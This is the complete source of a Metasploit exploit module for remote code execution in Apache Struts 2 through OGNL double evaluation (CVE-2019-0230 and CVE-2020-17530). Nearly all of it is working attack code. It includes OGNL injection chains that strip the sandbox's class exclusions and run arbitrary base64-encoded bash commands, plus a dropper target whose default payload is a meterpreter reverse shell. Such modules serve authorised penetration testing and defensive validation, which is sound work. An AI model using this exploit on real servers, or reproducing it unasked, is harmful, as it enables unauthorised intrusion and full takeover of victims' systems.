Apache Struts 2 Forced Multi OGNL Evaluation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',
        'Description' => %q{
          The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags
          attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a
          tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).

          This vulnerability is application dependant. A server side template must make an affected use of request data to
          render an HTML tag attribute.
        },
        'Author' => [
          'Spencer McIntyre', # Metasploit module
          'Matthias Kaiser', # discovery of CVE-2019-0230
          'Alvaro Muoz', # (@pwntester) discovery of CVE-2020-17530
          'ka1n4t', # PoC of CVE-2020-17530
        ],
        'References' => [
          ['CVE', '2019-0230'],
          ['CVE', '2020-17530'],
          ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'],
          ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'],
          ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'],
          ['URL', 'https://github.com/ka1n4t/CVE-2020-17530'],
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE, ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
            'Reliability' => [ REPEATABLE_SESSION, ]
          },
        'DefaultTarget' => 0
      )
    )

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
      OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']),
      OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']])
    ])
    register_advanced_options([
      OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
      OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request'])
    ])
  end

  def check
    num1 = rand(1000..9999)
    num2 = rand(1000..9999)

    res = send_request_cgi(build_http_request(datastore['CVE'], "#{num1}*#{num2}"))
    if res.nil?
      return CheckCode::Unknown
    elsif res.body.scan(/(["'])\s*#{(num1 * num2)}\s*\1/).empty?
      return CheckCode::Safe
    end

    return CheckCode::Appears
  end

  def exploit
    cve = datastore['CVE']
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}")

    if cve == 'CVE-2019-0230'
      ognl = []
      ognl << '#context=#attr[\'struts.valueStack\'].context'
      ognl << '#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']'
      ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'
      ognl << '#ognlUtil.setExcludedClasses(\'\')'
      ognl << '#ognlUtil.setExcludedPackageNames(\'\')'
      res = send_request_cgi(build_http_request(cve, ognl))
      fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200
    end

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded, { cve: cve })
    when :linux_dropper
      execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 })
    end
  end

  def execute_command(cmd, opts = {})
    send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5)
  end

  def build_http_request(cve, ognl)
    ognl = ognl.map { |part| "(#{part})" }.join('.') if ognl.is_a? Array

    http_request_parameters = { 'uri' => normalize_uri(target_uri.path) }
    http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank?
    if cve == 'CVE-2019-0230'
      http_request_parameters['method'] = 'GET'
      http_request_parameters['vars_get'] = { datastore['NAME'] => "%{#{ognl}}" }
    elsif cve == 'CVE-2020-17530'
      http_request_parameters['method'] = 'POST'
      http_request_parameters['vars_post'] = { datastore['NAME'] => "%{#{ognl}}" }
    end
    http_request_parameters
  end

  def build_ognl(cve, cmd)
    cmd = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash"
    ognl = []
    if cve == 'CVE-2019-0230'
      ognl << '#context=#attr[\'struts.valueStack\'].context'
      ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)'
      ognl << "@java.lang.Runtime@getRuntime().exec(\"#{cmd}\")"
    elsif cve == 'CVE-2020-17530'
      ognl << '#instancemanager=#application["org.apache.tomcat.InstanceManager"]'
      ognl << '#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]'
      ognl << '#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")'
      ognl << '#bean.setBean(#stack)'
      ognl << '#context=#bean.get("context")'
      ognl << '#bean.setBean(#context)'
      ognl << '#macc=#bean.get("memberAccess")'
      ognl << '#bean.setBean(#macc)'
      ognl << '#emptyset=#instancemanager.newInstance("java.util.HashSet")'
      ognl << '#bean.put("excludedClasses",#emptyset)'
      ognl << '#bean.put("excludedPackageNames",#emptyset)'
      ognl << '#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")'
      ognl << "#execute.exec({\"#{cmd}\"})"
    end

    ognl
  end
end

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